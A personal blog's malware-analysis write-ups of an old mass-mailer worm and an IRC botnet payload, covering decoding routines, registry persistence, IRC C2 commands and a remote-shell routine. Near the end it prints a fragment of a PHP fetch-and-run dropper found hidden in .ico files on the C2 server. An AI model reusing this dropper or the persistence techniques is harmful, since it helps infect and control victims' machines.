Following along with the article, at 404C53 we see 0FFFFFFFFh being PUSHed and then 004051C8 PUSHed (scope table and the try level). At 404C5A we see PUSH 00404DD0, which is a jump to __except_handler3 (4 being the topmost exception handler, IIRC). Then we see the value at fs:[0] being put into EAX (fs:0 is the start of the TIB, and in my case is 0018FFC4). Then this is PUSHed, and the stack pointer is moved into fs:[0] (which, in my case, is 0018FF78). This is what we see at 0018FF78:


This is something I’ll have to come back to someday, as I can recognize that something is going on here but I just can’t figure out what. On one hand, it makes no sense to me that someone would create and propagate a worm that didn’t work. On the other, there are some design decisions in this sample (like hard coding directories, plaintext domains and IP addresses) that calls into question the quality of the construction. I’m going to concentrate on disassembly of the rest of the unpacked file to try to see how the rest of it works.

404C50 is where we see the shenanigans with the SEH:


Down below at 404D7F we see the call to WinMain.

Inside of WinMain, we see a call to __p____argc and then a comparison, then where the code wants to go is to the left side (i.e., not take the jump):


However, as soon as the call to StartServiceCtrlDispatcherA happens, a non-continuable exception triggers. Following this doesn’t get my anywhere, so I’m going to go back to where this JNZ occurs and make sure that we follow the jump:


Getting to the next block at 402F3B, the jump is taken again so I’ll modify the flags and avoid the jump again. Getting to the call to ds:strncpy, the sample again hits exceptions, so I’m just going to through the disassembly and stop debugging completely for now.

The code on the right is a bit funny because I did get that to execute successfully in the debugger, and you’d think that a malware author would not want the malware to have error messages pop up. This is one of those examples I’m thinking of when I question the design of this sample.

Below all of this, we see a couple more branches but both ultimately call sub 402C30. This sub calls 402050, which reads a file called stm8.inf located in the Windows directory (or we see this being created if it doesn’t exist). After this takes place, we see a call to a sub at 402970 which involves moving lots of data into various registers and then several calls to sprintf to write this stuff to buffers. After those sprintf calls, there are several calls to LoadLibraryA and then several calls to GetProcAddress, so here we’re seeing the sample call several different libraries and functions before moving on to the rest of the code.



Again, if this sub fails, then the code exits. The pattern here is pretty much if any of these parts fail to execute successfully, the code will terminate. This might help explain why the code appears to do nothing when being executed in the VM. Following the success of the previous sub, there’s a call to WSAstartup (version 2.2 requested) and then the code flows to a call to sub 403BF0.

403BF0 is a large sub that begins with moving the byte 88h into BL before storing a string (a total of 0x40 times, based on the value moved into ECX) and moving several more bytes into other offsets:


I opened this in the debugger and patched the code to call 403BF0. This initial block creates the following string in memory:


The next bit of code loops through this string (up to 16 bytes long) and then XORs each byte with 0xEF, which leaves us with the string gmail.com:


This string then gets PUSHed and then sub 403170 is called to work with it. There are several subs nested here, one of the main ones called next is 4049F0. Within sub 4049F0, you see a call to DnsQueryA and then you see several strings being put on the heap:


The strings are:

If 4049F0 is successful, then you jump over the call to 404AF0 which appears to gather network info on the local host and then I presume tries to gather the info above in another way since following this branch would mean that 4049F0 failed. Back in sub 403170, there’s a call to GetTickCount and then a test between AL and 3, then a conditional jump to either exit and return 0 or continue with the function. In my debugger the code continued and took the gmail.com string and passed it to a call to 403070. We see more work being done with the gmail.com string, the heap, and calls to GetTickCount. We then pass the gmail.com string to 403030. More comparisons, more movement of the gmail.com string, and finally the entire 403170 sub returns and we end up at 403C75, where we come upon another interesting set of branches:


The debugger isn’t following the jump (which leads to another XOR decoding). For now I want to see what’s in the XOR branch so I’ll mess with the flags so we go there.


As you can see, it just ends up decoding gmail-smtp-in.l.google.com. Much later on in this branch, we see that string being passed to sub 4031D0. There we see a call to GetHostByName, and if that fails, then the function returns 0 and eventually this branch dies (I’m not connected to the Internet while I am running this instance), but I’ll change the flags and keep this going. Eventually this branch loops back up and runs through the same iterations but for the “alt%d” variations such as alt1,2,etc.

All roads seem to lead to location 403E4E, which checks to see if any of the branches leading up to this point were successful or not – if not, we exit. If they were, then we continue on to the hard-coded IP address blocks.


You can see the string being moved into EDI, and then shortly after there’s a comparison using that string, and then in my case it moves on to the next string which is 173.1944.68.27, and so on until it finds the IP it wants or it runs through all of them. Then, the return is made to 402C30, which we left a long time ago, it feels.

At this point, something weird happens again involving exception handling, and we find ourselves blown out into 7- land (so to speak), but I patched something to get us back to 402C92 which is where I wanted to continue from. We see a call to GetModuleFileNameA (which fails, incidentally) and then a call to GetUserNameA (perhaps to form part of the data used to create the mass emails?) and then the username is passed to strupr to make it all upper case.


We work our way down to 402D79 without any further intervention in the debugger, and it appears we’re in the right place to begin constructing totally legit-looking emails:


But first, a call to 4019C0 where it looks like we have another one of those encoding subs. The first encoding loop here decodes this little string:


ows\\CurrentV. Next loop in this sub decodes:


E\\Micro. Next loop:


ersion\\R, then:


SOFTW, then:


soft\\wind, then finally this entire mess gets passed as “SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run” under HKLM to RegOpenKeyExA:


If this operation is successful, then we skip the rest of this sub. If not, then we go on to decode more stuff and do more things, so I’m going to keep going on this branch.

Soon we see a call to LoadLibraryA for advapi32.dll, and then another XOR decoding:


The malware decodes the string RegSetValueExA:


kernel32.dll gets loaded, then the function RegSetValueExA is imported:


Then later we see what appears to be this malware being set up to run at boot under the guide of “Local Security Authority Process”:


We can see this change being made in Process Monitor:


It’s also apparent in Autoruns, though it appears the name of the file isn’t quite there just yet:


Then after all of this, a call to RegCloseKey and then back to the other sub where we can finally get into crafting some email (I hope)!

A few dozen lines in, I see a strange subject line being created:


I also saw the user name string that was converted into all upper case earlier. I accidentally stepped-over one of the subs here at 401E90, but in there you see that and a nested function create and bind a TCP socket and then call listen, looping until the string “google.com” is seen, then back to the previous sub. We see the string “Subject:” put in a buffer with a call to sprintf, and some further manipulations of strings. There’s a call to sub 402350, where we see a call to GetHostByName (a deprecated function, according to MSDN, which probably speaks to the age of this sample). If this function fails (which it did in my debugger), then the sub returns, otherwise it builds a string out of an IP address from the GetHostByName call. Soon after this, we see the “Subject:\09h\30h\09h\30h” string in its current form being passed to a call to 402170.

Sub 402170 is the sub where the Windows version is obtained and named using one of the strings we observed earlier, e.g. “WinVista”, “WinNt”, “Win2000”, “Unknown”, “WinXp”, “Win2003”, “Win7”. This done via a call to GetVersion and then parsing that info to identify the version. The sample correctly identified the version running in my test environment (Windows 7). Before returning, there is a call to a sub at 4022C0 which is to obtain the local and system time, and then this information is parsed into various pieces such as day, month, year, hour, etc. I imagine for the purpose of constructing the mass emails. Returning from these subs, we see that our subject line continues to change:


After all these changes to the string, including a few more minor ones, we return back to 402E92, and the a few lines later there’s a call to 4033C0 – THIS finally seems to be the construction sub. It begins with a whole lot of byte movements, reminiscent of the XOR encoding though I don’t see that happening here:


After ALL of these many things are MOVed around, we pass through a few conditional jumps that either take the whole mess and return (returning 0) or we do actually get to an XOR decoding loop – I didn’t have to intervene to get there, and the first string decoded is “nbweinf12160”:


So as not to make you sit through every loop like I did earlier, here’s what we get at the end of these three loops:


crist.jessica@msn.com [this email is no longer valid, by the way]

We get kicked over to a call to 403340, which is a sub that tries to set up some networking with one of the hard-coded IPs mentioned earlier, where we also see a call to ioctlsocket (nonblocking).

The debugger wants to follow the code over to where there’s another decoding sub called (402C70), which receives our subject line as an argument. Oddly, this branch re-encodes the subject line that was being constructed and then basically breaks everything down and exits. I’m reloading the VM snapshot and trying the other branch…

Unfortunately, that other branch also died, running into exceptions. Perhaps this is because of the patching I’ve done, maybe things are messed up now. I’m going to just try to get back to the SMTP part of the malware and see how that works.

I patched that last line of code to JMP 403690, so I can see how the SMTP commands are sent. Not too far into that sub we see the first SMTP command being constructed and then a large block of code related to a call to send:


Long story short, we see HELO (google.com) being sent:


Since I’m not really letting this thing connect to the Internet, it tries to exit but I’ll keep intervening to keep it sending info. Next up is another big block of code, all pertaining to a call to send:

We can continue to observe the SMTP commands being sent in this manner. There are numerous conditional jumps throughout the code that necessitate intervention in order to keep going on the path I want. We see a few calls to GetSystemTime and some random number generation before the construction of the command that specifies the destination email address (in this run, no email address was populated):


It seems that this is meant to be a “Microsoft News Letter”:



We eventually see QUIT being sent, and then the socket getting closed:


And then the malware had a meltdown since I had been patching all kinds of stuff to jump around. This is about all I want to really check out in the malware in tandem with the debugger. Some other highlights include:

– Sub 401000 is where the malware appears to install itself by copying itself as the file Isass.exe (a string we saw earlier – it places this file in the %system% directory, though I’d point out that in this file it tends to hard code these areas (e.g., one branch of its code refers to the c:\windows\ directory, rather than using the environment variable)
– Sub 404010 shows that it attempts to run itself as a service called “Windows Genuine Updater”:


– Sub 404110 attempts to open this newly created service and start it
– 4015D0 looks like it might generate IP addresses using a combination of calls to GetTickCount and random numbers

Dynamic Analysis, Revisted

Now that I actually got the sample to do something, I’m going to revisit some of the things I would normally try under dynamic analysis which were unrevealing due to the sample not fully executing.

Taking a look at Wireshark, there actually was almost nothing that seemed like it could have been attributed to the malware except for a DNS resolution to alt1.gmail-smtp-in.l.google.com which was something that was observed when I was forcing execution through the debugger. I suspect that the reason why there isn’t any SMTP traffic being observed is that while I was forcing execution of the malware in Ollydbg, networking was never completely started via a successful call to WSAStartup.

RegShot does show the following change being made to the Registry, as we saw earlier in the debugger and in Autoruns:

HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Local Security Authority Process: “ %1”

Other than this, nothing else interesting came out of RegShot. Process Monitor also didn’t have anything interesting in it, apart from what was already discussed above.


This was a weird sample to work on because of the issues getting it to run. I don’t have a dedicated physical testing system, otherwise I would have tried it on there to see if I could get it to run properly. I’m torn between whether this was a very sophisticated sample that employed anti-VM techniques that I couldn’t detect (like the SEH shenanigans referenced in the post) or if it was just not well-written and this was causing the execution issues. Just because I didn’t find something doesn’t mean that it wasn’t there, but on the other hand my opinion is that there were several questionable design decisions throughout the sample, so… Not sure on this. This type malware appears to be very old. I’ve seen references to this worm going back as far as 2002, so perhaps this would help explain some of the execution issues also.

I didn’t see anything obvious as far as how the malware gets its email addresses to mail to, however we did see many examples of what appear to be bad passwords hard-coded in the sample. My intuition is that this program tries to harvest email addresses from the host computer. I didn’t see any C2 functionality in here, so I suppose this is sort of a fire-and-forget piece of malware. This sample doesn’t appear to have any clear goal in mind, so maybe it was created for its own sake.

Persistence is attempted via the registry and creating a copy of itself (Isass.exe) that is meant to resemble the lsass.exe file. Persistence wasn’t fully achieved, probably due to the malware not functioning correctly as I forced it through the debugger. I also didn’t see any movement of this sample through a network (or really anything like this in the code), though again, the sample wasn’t functioning 100% so I’m not sure it’s wise to completely rule it out.

Finally, it seems that Pepex is a fairly consistent name for this sample, so no need to name it like I did with BEAR.


Findings and observations:
Mass-mailer worm with execution issues. Design flaws reveal functionality and signatures. This sample was first observed 14+ years ago, but doesn’t seem to have any obvious malicious function besides wasting resources.

Detection is very high for this sample, probably due to age, so up-to-date AV probably would help mitigate this sample. Not opening suspicious files received via email or other routes also stands for this sample. Use of strong passwords (and definitely NOT the very poor examples found in this malware) is advised. Removal can be done by modifying the registry entry for persistence (if successful in the first place) and also the Isass.exe file.

Interesting to see this very old piece of malware, even if it didn’t fully run in the test environment. Not a terribly destructive sample, mostly just annoying.

Report: MalEXE002pdf


Manually Unpacked:

Automatically Unpacked:



Next up is to analyze the decrypted payload from the previous analysis (BEAR). One interesting thing is that this sample failed to run in the malwr.com sandbox, so I wonder if there’s something in the sample that prevented that or if it was just a random failure.

Looking at strings, I’m finding that it appears to be in the clear and without the same obfuscation as the launcher:


The strings observed are mostly the same as the ones in the prior analysis, the ones recovered from the running process image. I do see one string that I don’t recall seeing in the prior analysis, this one having to do with the registry:


Opening the payload in PEview, we see much more information than last time. One thing I noted was the the date/timegroup in this file was 2009/12/24 13:25:55Z. These can be patched after the fact, but I wonder if this indicates that this is actually a very old sample that has just been repackaged recently.

There are also several imports that are in the clear:
– msvcrt.dll
– kernel32.dll
– ws2_32.dll
– user32.dll
– advapi32.dll
– shell32.dll

I’ve included the full list of imported functions in the report linked to at the end of this analysis, but I’d like to mention a few of them:

WS2_32: WSAStartup, Socket, Bind, Listen, Connect, Send/Recv, GetHostByName, Inet_Addr

This sample uses the lower-level (when compared with a DLL such as wininet.dll) library to establish networking. Using WS2_32 can require more “construction” of various parts of traffic, such as headers. This can lead to more signatures within the malware itself – possibly hard coded user agents, for instance, or typos that are slightly different than a legitimate user agent. GetHomeByName is used to resolve a domain name, while Inet_Addr is used to convert that resolved IP address string to something for other functions to use. WSAStartup is used to initialize networking, so a good way to find where the networking functionality begins is to look for this function in the disassembly or set a breakpoint for this function in the debugger. One thing I find curious about these imports is that it seems that there is a function missing here. Between a client-side and server-side instance, here are what you would typically see:

Client side calls:
1. WSAStartup (initialize networking)
2. Socket (creates the socket)
3. Connect (connects to the remote socket)
4. Send/Recv as appropriate

Server side calls:
1. WSAStartup
2. Socket
3. Bind (attaches the socket to a port)
4. Listen (sets the socket to listen for traffic)
5. Accept (waits for an incoming connection from a remote system)
6. Send/Recv as appropriate

What’s absent from the imported functions above is Accept. I double checked, and I do not see that being imported. This would only be required under the server side calls – I’m guessing that this malware is a client, however given the number of functions imported I’m a bit surprised to see Accept missing from the list. Perhaps this is an oversight, or maybe this function is called some other way (an indirect call like CALL EAX), or finally it might be a clue as to the malware’s function.

Kernel32: CreatePipe, PeekNamedPipe

Pipes can be used to simplify connectivity to a remote C2 server. PeekNamedPipe is called to copy data from a named pipe without removing it.

Kernel32: CreateMutexA

Mutexes are sometimes created to help ensure that multiple instances of the malware are not running at the same time on the same machine. The malware will check for the presence of the mutex and then exit if found. This can also be a good way to find host-based signatures, in the event of a hard-coded (fixed) mutex name. Later on, we actually do observe a mutex created (dc3d5c2012d372867 88b94a5d50d7a3cf0).

ADVAPI32: CryptAcquireContextA, CryptReleaseContext, CryptGenRandom

CryptAcquireContextA is used to initialize windows encryption. The others relate to other encryption functions.

Kernel32: GetTickCount, QueryPerformanceCounter

These both can be used in anti-debugging operations, however they can also have other uses as well. For example, in the BEAR launcher we saw that GetTickCount was essentially used to seed a random number generating function.

Kernel32: SetFileTime

This can be used to modify the creation/last access/last modified dates and times on files, which can be used to hide malicious modifications to files on a victim machine.

Shell32: ShellExecuteA

This is used to execute a new program – I wonder if this will be used to run the self-deletion batch file, or something else. I’ll be looking out for new processes and calls to this in the disassembly and debugger.

ADVAPI32: RegClose/Open/CreateKey, RegDelete/Enum/Query/SetValue

I see several functions that are used to create, open and close registry keys as well as look for, delete and/or set values in keys. We saw that the BEAR launcher achieved persistence via the registry, so this is probably what is happening here.

Kernel32: GetLocaleInfoA

I’m curious to see how the malware uses this function – does the payload behave differently based on where the host is located, or upon the language of the victim?

Kernel32: WriteFile, CopyFileA, DeleteFileA

I always like to see these, because it means that I should see something created or removed that could either lead to more clues to functionality or act as a good host-based signature.

As a side note, once grouping of functions that I am not seeing is the set of functions associated with process replacement or injection, which we did see in the BEAR launcher.

Checking out KANAL, there’s a few different things here. First, it picks up the base64 index that we could see above in the results from strings. Next thing is that it picks up on a call to an imported crypto function. Final thing is that it sees is constants for MD5. It’ll be interesting to check these references out in the disassembly to see how these are being used.


Dynamic Analysis

During the analysis of the BEAR launcher, it was observed that the behavior was much different when running the sample as a regular user (i.e., not as an admin). For this reason, I opted to run the payload as admin and skip testing as a regular user, with the assumption that the payload would be similarly affected.

One change immediately noticed was the addition of the following keys to the registry:


We saw one of these exact keys earlier, in the strings output:


Looking in the registry at this location reveals:


HKLM\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\C:\Windows\system32\spooIsv.exe: “C:\Windows\system32\spooIsv.exe:*:Enabled:Windows DLL Loader”

This value was also added:

HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Windows DLL Loader: “C:\Windows\system32\spooIsv.exe”

Next, the following file was added:


And the following file was deleted:


The method of deleting the sample was the same as in the other analysis – a randomly named batch file was created (with the same instructions) and this was run to delete both the original payload executable and the batch file.

Oh, look at this – here’s spooIsv.exe, but look at the date/time group:


This is almost certainly the place where we see usage of kernel32.SetFileTime to help hide the sudden appearance of this malicious file. The file is also hidden, and happens to be the exact size of the original sample.

Comparing the MD5 hash of each confirms that it’s the same file:


You can observe further confirmation of this file being added to the registry to run at startup:


As mentioned earlier, we do observe a mutex created:


As far as network activity, nothing different was observed between the prior analysis and this one. For full details, please refer to the BEAR launcher analysis.

The payload exhibits the same behavior as the launcher in terms of the iterations of spawned/replaced processes, so please see the prior analysis for details. However, one difference is that when this payload is executed on its own, it does not create two new processes for replacement – only a single instance of each new process is observed.

Disassembly / Debugging

The disassembly is much easier to follow in the payload when compared with the launcher, thankfully.

One of the first major functions after startup is sub 406845. Many things happen in this sub, and I’ll cover the interesting ones here:

Sub 40650E gets the filename and directory of the running process. Soon after that, the malware looks at the filename of the running process and makes a comparison. Based on this comparison, the malware branches:


If the branch “fails”, then it gets the system directory and then does what I presume is some decoding of strings with a loop:


Here’s an example of one of the decoding functions:


What’s interesting about this block starting at 406885 is that it appears to look for a string (that it concatenates) and it will loop to try and find this string – if successful, it will then jump to 406931 where the registry settings to have the program run at startup are made. If these iterations finally fail (or if the original branch at 40687C is true) then the sub that I call the RegistryAutoruns function is called but in this case to actually delete the registry settings and also log that the malware was uninstalled (this info is sent to C2 using a sub starting at 409003):


Here’s a code snippet to show part of the “CreateBATDeleteAll” sub where we see the batch file being created and executed via ShellExecuteA:


Another couple of blocks of code within this overall function includes sub 40642D which contains the code for setting up the registry keys/values to run the sample at startup:


Within this sub, we also see sub 40627D which makes the registry changes for the firewall access:


Notice also the line that prints a string that logs this change to the system. This generally seems to be a pattern with this malware — you see the string that is recorded for the logging aspect of the function being performed, and then you see calls into the functions that actually perform those actions.

Getting back to the beginning of the disassembly, we see that the system is set to sleep for 1 second (0x3E8) and then the malware creates a mutex:


If there are issues with the mutex creation, then the malware loops back to the code we already discussed. Otherwise, we get to a dense block starting at 409C73:


Stepping through this:

The sub at 4053B1 contains LOTS of plaintext calls to LoadLibraryA and GetProcAddress:


I think most of this stuff we already were aware of, at least on a high level, but some interesting calls to LoadLibrary and GetProcAddress include a load of netapi32.dll and one of the functions used from that is NetScheduleJobAdd which can be used to schedule a run of a program at another time. From this same library is a call to get the address of NetShareEnum which is used to enumerate through network shares and NetUserEnum (similar but for users).

Sub 405F28 is more of the same, just different libraries and shorter:


Sub 407B36 calls memset and InitializeCriticalSection. Sub 403008 is interesting and I can’t say that I fully understand it, but it appears to obtain random data using the __imp_clock function and transformations of that data. There is a function that I’ve named ClockCallAndTransform that is also called. Here are both functions:

bear2-21 bear2-22


This ClockCallAndTransform is the major thing that happens within 403008 and is also called elsewhere (such as from this overall block of code we’re looking at now).

Sub401EF2 contains calls to set up crypto in this program:


Sub 401000 sets up the base64 index in a spot beginning at 40EAD0:


Sub 4020DF has to do with MD5 encoding, with several subfunctions. One of its first subs is 401478 where we see the MD5 constants set up:


The next two calls are to 4014A0 and 40153F, which themselves work with a function at 40160C, which appears to be the main MD5 sub. We can see the precomputed MD5 table for each round in plaintext:


This is a LONG sub, stretching from 40160C down to 401EAB. Japanese Media Manager has a post of the assembly code for MD5, in case you are interested (or see references below).

This work done with MD5 is called two additional times (total of 3) and then the mysterious clock function is called four times. This block wraps up with getting the module handle and filename. See below for the fully renamed block:


Pressing on, we see some stuff done with the module handle and filename we gathered at the end of the prior block, and then we get to a denser area starting at 409D28. Sub 406637 is an interesting call in this area. In this sub we see a lot of calls to some of the same functions discussed earlier (the ones setting up persistence, creating the batch file, etc.) but we also see an interesting call at 406382 which is where we see the file time being faked on the installed copy of the malware:


After this is done, then we see the call to WSAStartup which is the beginning of the network activity (at location 409D48). A small block begins at 409D4E, and the first sub called (408D4A) contains lots of networking setup activity via WS2_32 function calls. Throughout all of these calls there are also multiple calls to the XOR transformation subs already discussed and labelled.

There is one very interesting sub within this big mess, though, which is at 408A9F. This is the sub where the initial communication with C2 is handled via IRC. First, clock data is gathered with a call to a sub at 4069B5. Following this, there’s a block at 408A9F where we see the connection password is sent which must be done before the user registration takes place:


Soon after, we see the creation of the user registration string that is then sent to C2 starting at 408B43:


After this, some checks are done on a couple of the arguments passed to the function and then the system will either branch to start what appears to be a system inventory or it will connect with the generated nick on the IRC server. There is a call to a sub at 407A55 which calls GetTickCount and QueryPerformanceCounter twice and then carries out transformations of various types on the returned values. Another sub within the system inventory branch is 4070D9 which collects the locale info. This sub checks to see if the locale returned is “USA” so I wonder if this is an indication of targeting of particular users. A call to 407750 finds the connected drives and their sizes. A call to 4074B2 XORs four strings and then also sets up commo using those strings, then later we see a call to GetVersionExA and then the major version is checked to see if the host is running Windows XP or something else (Windows 5.1):


After this, we see what looks pretty much like the construction of the nick for the malware’s IRC connection, and then the channel name #balengor:


I’m guessing that this system inventory info might have some role in the way the nick is constructed. It would make sense that the nick would be used to give the author(s) an idea of what system type and capabilities are associated with each nick. Lower we see where the NICK command is actually sent to the C2 channel:


Now, stepping WAAAAY back out several levels back to the block starting at 409D4E, the next call there after we’ve done all this system inventory and bot registration on IRC is the sub at 4079DE. This is another sub that takes two calls to GetTickCount and QueryPerformanceCounter and then does transformations with them. I’m stating to think that these are some sort of random data generator and not involved with anti-analysis.

The next major block is at 409D71, which consists essentially of a call to a tiny sub that will MOV a socket into EAX and then a call that sets up and calls the select function from WS2_32, which will determine the status of a socket to perform synchronous I/O. We see another branch from there that will call recv in WS2_32:


One interesting little thing here:


We see this floating around – in the prior analysis it was observed that the PING commands sent via IRC happened roughly every 90 seconds – this helps confirm that the stuff being done with the clock is used to generate random data. I guess the author(s) thought that sending these commands at exactly 90 second intervals would attract attention, so this mechanism was put in place to make sure that the commands were sent slightly randomly but still close to the 90 second interval.

This entire section loops continuously:


Sub 409B98 appears to be where the data from C2 that was obtained with the call to recv is processed. Some highlights from inside this and subordinate subs:

Checking for certain IRC traffic:


Here’s an interesting spot where the program appears to set itself up to look at the base64 encoded string from the topic in the C2 IRC channel #balengor:


Sub 401022 is where we see that string being worked with:


I’m calling the sub at 409B98 “GetCommandsFmTopic”. A few levels into this sub, after doing some work to parse through input received through the C2 IRC channel, we see this sort of innocuous call:


This leads us to a HUGE sub, look at this graph:


I was kind of hoping that I was getting near the end and could wrap this up soon…

4090AE seems to be the main sub where it appears all of the functionality is controlled. The structure looks like a series of if-statements that take the input from C2 to the malware and check the strings and then take actions. For example, the first thing it does is check for the string “PING”:


If it sees “PING”, then it branches elsewhere and sends this command to the IRC channel:


It checks for PING, PONG, MODE, PRIVMSG, etc. At some point we see a check for “433”:


If 433 is detected, i.e., if the jump is NOT followed, then we proceed to an area where the various subs are called to hide the installed malware with a fake file time and delete the original files, check for the locale, do an inventory of drive types and size, get OS info, and then send the NICK command in IRC (I’m only including one of the earlier screenshots because it’s a lot of material to post otherwise):


Other branches give interesting results. Seeing the string “ERROR” seems to send the bot down the path of taking a system inventory and then registering itself; the “JOIN” string can take you down a path where the USERHOST command registers the host the bot is connecting from or it can take you down another path where you check for “001”. This has you set the user mode and join the channel. “451” registers the bot on IRC. “302” leads you down a path where you check for data with an @ in it, probably a userhost string. “NICK” can have you copy a string (I’m assuming the bot nick on the server). “332” has you do some decoding of a base64 string, probably the channel topic that we’ve already seen. The size of this sub itself makes it hard to analyze.

Speaking of hard to analyze, I found a sub that contains two calls to rdtsc (sub 40700B). This function can be used to test for the presence of a debugger. It returns the number of ticks since last reboot, and what a program can do is call it twice (which this one does) and then check to see how long has elapsed between the tests (which this does, it compares the value returned with 1000000). The idea is that if an unreasonably long amount of time has passed, then the assumption is that the program is operating in a debugger. This program appears to just loop endlessly if the two calls take too long. A tick represents 100 nanoseconds, so 1000000 ticks is 0.001 seconds (1 millisecond) so not very long at all. Anyone debugging this function would absolutely get stuck there unless they executed past it or patched the code. Something else must be done to the results, though, because you also see that there’s a call to Sleep for 1000 milliseconds after the first rdtsc call, but I didn’t look into this more as I wanted to keep moving on.


One of the branches in 4090AE connects to another huge sub at 40830A – look at this graph:


This sub does all kinds of interesting things:

– Base64 decoding (again, I’m thinking the channel topic)
– Download a new .exe file (probably an update to the bot software) which actually encompasses several interesting subs: 404866 which is used to set up things like ports and addresses depending on the protocol used (http/80, ftp/21, tftp/69) and under that sub 40464E which constructs an HTTP header if necessary. I also noted that the ftp service is set up as anonymous – if I can find the address, then I could possibly log in anonymously and find more files.
– Quit and restart
– Quit and change servers (that’s interesting…)
– Install or uninstall the malware
– Report system uptime
– Scan IPs
– Run exploits against a list of IPs (sub 403698 is called by sub 403861 to do this)
– List exploit statistics (sub 40399A)
– Start a “Remote command thread” with sub 4042A7 (a remote shell and also the ability to execute remote files)
– Gather extensive system and OS info (to include naming the Windows version found) within sub 40740E | 407132. The malware will recognize a range of versions from Window 95 up to XP/2003, as well as gather processor info.
– Gather network adapter info through subs 407718 | 407523. This will also rate each one as Good / Avarage [sic] / Bad.
– Gather drive info (types and sizes) through subs 4079A6 | 4077CA.

The actual sub that creates the remote shell (403FF3) is actually pretty cool. You can watch it step through the entire process of finding cmd.exe, creating a pipe, duplicating a handle/creating a new process, calling PeekNamedPipe to get data from the pipe without removing it, etc. along with a few error messages.

That pretty much covers the disassembly, at least as far as I want to take it since I need to move on to other things. Debugging was largely unsuccessful, I suspect there are some anti-debugging things going on but I’m not looking into this right now.

I did try to connect to the malware C2 site ( over anonymous FTP and was able to log in. I found an empty pub folder and three .ico files in the directory. I opened one of the .ico files in notepad++ and found this:

$ln = “”;
$nm = “winldr.exe”;
$bt = implode(“”, array(‘f’,’.’,’b’,’a’,’t’
$fl = $ln . $nm;
$bc = “START ” . $nm;

function fileDL ($uf, $pf)
$nfn = $pf;
$fn = fopen ($uf, “rb”);
if (!$fn) exit;
$nuf = fopen ($nfn, “wb”);
if (!$nuf) exit;
fwrite($nuf, fread($fn, 1024 * 8 ), 1024 * 8 );

$bf = fopen($bt,”w”);
if(!$bf) exit;

Well, that’s interesting. Basically what this does is:

– creates a batch file called f.bat that will contain START winldr.exe
– downloads the winldr.exe file in 8k chunks
– executes f.bat which will start winldr.exe as a service

Thanks to the Captain for taking a look at the PHP.

This is what I get when I visit the malware IP with a browser:


No, the live chat button didn’t work. Would have been interesting.

An address of however, does result in a 24kb file being downloaded.

I tried running the original payload in a debugger to see if I could catch the password being sent, didn’t have any luck. However, I noticed this:


A new C2 domain and port? I tried connecting there via IRC but was unsuccessful.

I need to move on from this sample, but I did do a little observation of winldr.exe and here are the most interesting things that I observed. This sample seems to scan IP addresses, as within a couple of minutes I saw it connect and disconnect from about 9,600 IP addresses (list attached to this post, see below). I also noticed that this piece created 94 threads in a row at one point. Winldr.exe does connect to the C2 server, but to a different channel (#j) and with a different nick format (this instance connected as jlqydetno). One of the online sandboxes had this sample connect to l.kokoke.net on port 8089 (mine didn’t). This file didn’t appear to be packed. A funny thing that I noticed is that one of the functions contains the string “KeepITSimple”:


This file also blows up on Virustotal (42/53 or so). Its size is 24,576 bytes and its hashes are:

winldr.exe hashes:

Anyway, some things I could follow up on in the future include:
– Figure out exactly what causes the debugger to fail
– Determine the nick generation system in use, and try to impersonate a bot account on the C2 server
– Try to log traffic over a long period of time to try to observe actual C2 traffic being sent
– More research on uNkn0wn Crew


Findings and observations:
Robust bot software that offers lots of features to the author or other controller. We saw that there was a detailed system inventory function; ability to (at a minimum) inventory local networks; update the C2 server; update the software; provide troubleshooting info to the author(s) in the event of errors; anti-analysis techniques; remote shell access; remote execution; various methods of hiding the malware and its traffic/activities; presumed encoding features to provide information back to C2 in the form of account names, etc.; and features that allow the bot controller to recon remote systems and also attack those systems. We also found many things in this sample and the previous sample (the launcher) to obfuscate the bot code such as encryption (AES) and other encoding (MD5, base64, xor).

Same recommendations as noted in the analysis of the launcher. One might also consider blocking port 69 for TFTP unless this is actively in use, as this was shown to be one source of downloading updates for this malware.

Really cool and fascinating bot to work on. Lots of features and functionality for the authors. We saw that not only does it provide some useful features such as the ability to scan and exploit other machines, remote shell access, but also housekeeping functions such as error tracking and reporting and an update feature as well. This was a great sample to work on.

Scanned IP Address List:IPsScannedByWinldr-exe

Hashes (payload):


I turn my attention to the sample that came into the new honeypot, mentioned in the prior post. I uploaded the sample and it pretty much blew up VirusTotal:


Nice. Also, I happened to notice that the file has a PE header, which is a welcome change from all the spammy documents I’ve been looking at so far. I didn’t delve too deep into what else the site found because I want to try to see how much I can find on my own – the point isn’t to just upload stuff and have a sandbox do the work for me, I want to see what I can get out of it myself and then “check my work”, so to speak, in the sandbox.

Static Analysis

BEAR2I started with some basic static analysis stuff like strings.exe. What I get is some pretty standard looking stuff – in the beginning (not shown) you see the header and see mention of the .text, .data and .rdata sections. Further down you see what we’re meant to believe are imported functions. GetTickCount could be used as an anti-debugging technique, but it could also have a more conventional use. GetVersion could be used to survey the host in order to see what is running and possibly also to inventory the system. VirtualAlloc can be interesting when associated with other imports that might have to do with process injection, but I’m not seeing those other imports here. WriteFile is always a good one, since this means that something is probably being written (either a file is dropping for some purpose on the host, or perhaps data is written to a file before exfiltration).

After this list of function names, there were pages and pages of random strings. Nothing in there resembled anything like a host name, IP address, messages, file names, mutex names, nothing at all. I’m guessing this file isn’t packed due to the plaintext import names and regular section names, but not sure yet and need to look deeper. My guess right now is that whatever strings, arguments, etc. the sample uses are obfuscated somehow.

Opening this sample in PEview reveals some more info. This particular sample is relatively new, compiled on June 4th of this year. Quickly checking a few anti-debugging things, I see there is no TLS table and the number of data directories looks fine (0x10). The virtual and raw sizes of each section are very close in size to one another, again suggesting that the file isn’t packed and reinforcing the assumption that there’s obfuscation of some sort going on here.

The next tool up is Krypto Analyzer (KANAL) for PEiD. KANAL is a tool that looks through files for indications that there might be some sort of encryption going on. These indications include constants associated with various encryption schemes, function imports related to cryptography, and the like. The main issue with using KANAL is that if the sample uses something non-standard (such as a custom base64 index), KANAL will not pick that up. There are also cryptography schemes that do not use “magic constants”, and those won’t be picked up by KANAL either. In this case, KANAL did find something:


